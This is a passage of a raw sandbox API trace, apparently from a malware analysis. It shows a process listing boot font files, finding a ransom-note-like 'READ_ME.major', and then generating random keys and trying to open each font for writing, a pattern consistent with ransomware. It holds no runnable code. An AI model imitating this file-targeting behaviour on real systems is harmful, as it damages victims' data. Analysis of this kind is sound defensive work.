ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0142.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0142.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0142.773] GetLastError () returned 0x5 [0142.773] SetLastError (dwErrCode=0x5) [0142.773] GetLastError () returned 0x5 [0142.773] SetLastError (dwErrCode=0x5) [0142.773] GetLastError () returned 0x5 [0142.773] SetLastError (dwErrCode=0x5) [0142.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0142.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0142.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0142.773] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0142.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0142.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0142.773] GetLastError () returned 0x5 [0142.774] SetLastError (dwErrCode=0x5) [0142.774] GetLastError () returned 0x5 [0142.774] SetLastError (dwErrCode=0x5) [0142.774] GetLastError () returned 0x5 [0142.774] SetLastError (dwErrCode=0x5) [0142.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0142.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0142.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0142.774] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e611f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x80e611f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x80e611f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0142.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0142.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0142.774] GetLastError () returned 0x5 [0142.774] SetLastError (dwErrCode=0x5) [0142.774] GetLastError () returned 0x5 [0142.774] SetLastError (dwErrCode=0x5) [0142.774] GetLastError () returned 0x5 [0142.774] SetLastError (dwErrCode=0x5) [0142.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0142.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0142.774] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0142.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0142.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0142.774] GetLastError () returned 0x5 [0142.774] SetLastError (dwErrCode=0x5) [0142.774] GetLastError () returned 0x5 [0142.774] SetLastError (dwErrCode=0x5) [0142.774] GetLastError () returned 0x5 [0142.774] SetLastError (dwErrCode=0x5) [0142.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea88 [0142.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea88 | out: hHeap=0x570000) returned 1 [0142.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0142.775] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0142.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0142.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0142.775] GetLastError () returned 0x5 [0142.775] SetLastError (dwErrCode=0x5) [0142.775] GetLastError () returned 0x5 [0142.775] SetLastError (dwErrCode=0x5) [0142.775] GetLastError () returned 0x5 [0142.775] SetLastError (dwErrCode=0x5) [0142.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eaf8 [0142.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0142.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77f8 [0142.775] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0142.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0142.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0142.775] GetLastError () returned 0x5 [0142.775] SetLastError (dwErrCode=0x5) [0142.775] GetLastError () returned 0x5 [0142.775] SetLastError (dwErrCode=0x5) [0142.775] GetLastError () returned 0x5 [0142.775] SetLastError (dwErrCode=0x5) [0142.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec80 [0142.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec80 | out: hHeap=0x570000) returned 1 [0142.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0142.775] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0142.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0142.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0142.775] GetLastError () returned 0x5 [0142.775] SetLastError (dwErrCode=0x5) [0142.775] GetLastError () returned 0x5 [0142.775] SetLastError (dwErrCode=0x5) [0142.775] GetLastError () returned 0x5 [0142.776] SetLastError (dwErrCode=0x5) [0142.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0142.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0142.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0142.776] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0142.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0142.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0142.776] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.776] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\wgl4_boot.ttf", dwFileAttributes=0x80) returned 0 [0142.777] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0142.777] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0142.777] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0142.777] CreateFileW (lpFileName="\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.777] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0142.777] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0142.777] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0142.777] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0142.777] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0142.777] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0142.777] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.777] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\segoe_slboot.ttf", dwFileAttributes=0x80) returned 0 [0142.777] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0142.777] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.777] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0142.777] CreateFileW (lpFileName="\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.778] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.778] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0142.778] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0142.778] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0142.778] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0142.778] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0142.778] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.778] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\segoen_slboot.ttf", dwFileAttributes=0x80) returned 0 [0142.778] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0142.778] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.778] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0142.778] CreateFileW (lpFileName="\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.778] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.778] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0142.778] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0142.778] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77f8 | out: hHeap=0x570000) returned 1 [0142.778] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0142.778] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0142.778] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.778] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\segmono_boot.ttf", dwFileAttributes=0x80) returned 0 [0142.778] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0142.778] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.779] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0142.779] CreateFileW (lpFileName="\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.779] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.779] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0142.779] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0142.779] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0142.779] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0142.779] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0142.779] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.779] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\msyh_boot.ttf", dwFileAttributes=0x80) returned 0 [0142.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0142.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0142.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0142.780] CreateFileW (lpFileName="\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0142.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0142.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0142.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0142.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0142.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0142.780] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.780] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\msyhn_boot.ttf", dwFileAttributes=0x80) returned 0 [0142.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0142.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0142.780] CreateFileW (lpFileName="\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0142.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0142.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0142.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0142.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0142.780] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.781] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\msjh_boot.ttf", dwFileAttributes=0x80) returned 0 [0142.781] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0142.781] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0142.781] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0142.781] CreateFileW (lpFileName="\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.781] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0142.781] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0142.781] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0142.781] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0142.781] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0142.781] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0142.781] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.781] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\msjhn_boot.ttf", dwFileAttributes=0x80) returned 0 [0142.781] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0142.781] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.781] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0142.781] CreateFileW (lpFileName="\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.781] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.781] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0142.781] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0142.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0142.782] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0142.782] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0142.782] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.782] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\meiryo_boot.ttf", dwFileAttributes=0x80) returned 0 [0142.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0142.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0142.917] CreateFileW (lpFileName="\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0142.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0142.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0142.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0142.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0142.917] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.917] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\meiryon_boot.ttf", dwFileAttributes=0x80) returned 0 [0142.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0142.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0142.921] CreateFileW (lpFileName="\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0142.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0142.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0142.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0142.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0142.921] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.921] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\malgun_boot.ttf", dwFileAttributes=0x80) returned 0 [0142.961] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0142.961] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.961] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0142.961] CreateFileW (lpFileName="\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.961] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.961] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce18 | out: hHeap=0x570000) returned 1 [0142.961] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0142.961] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0142.961] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0142.962] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0142.962] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | 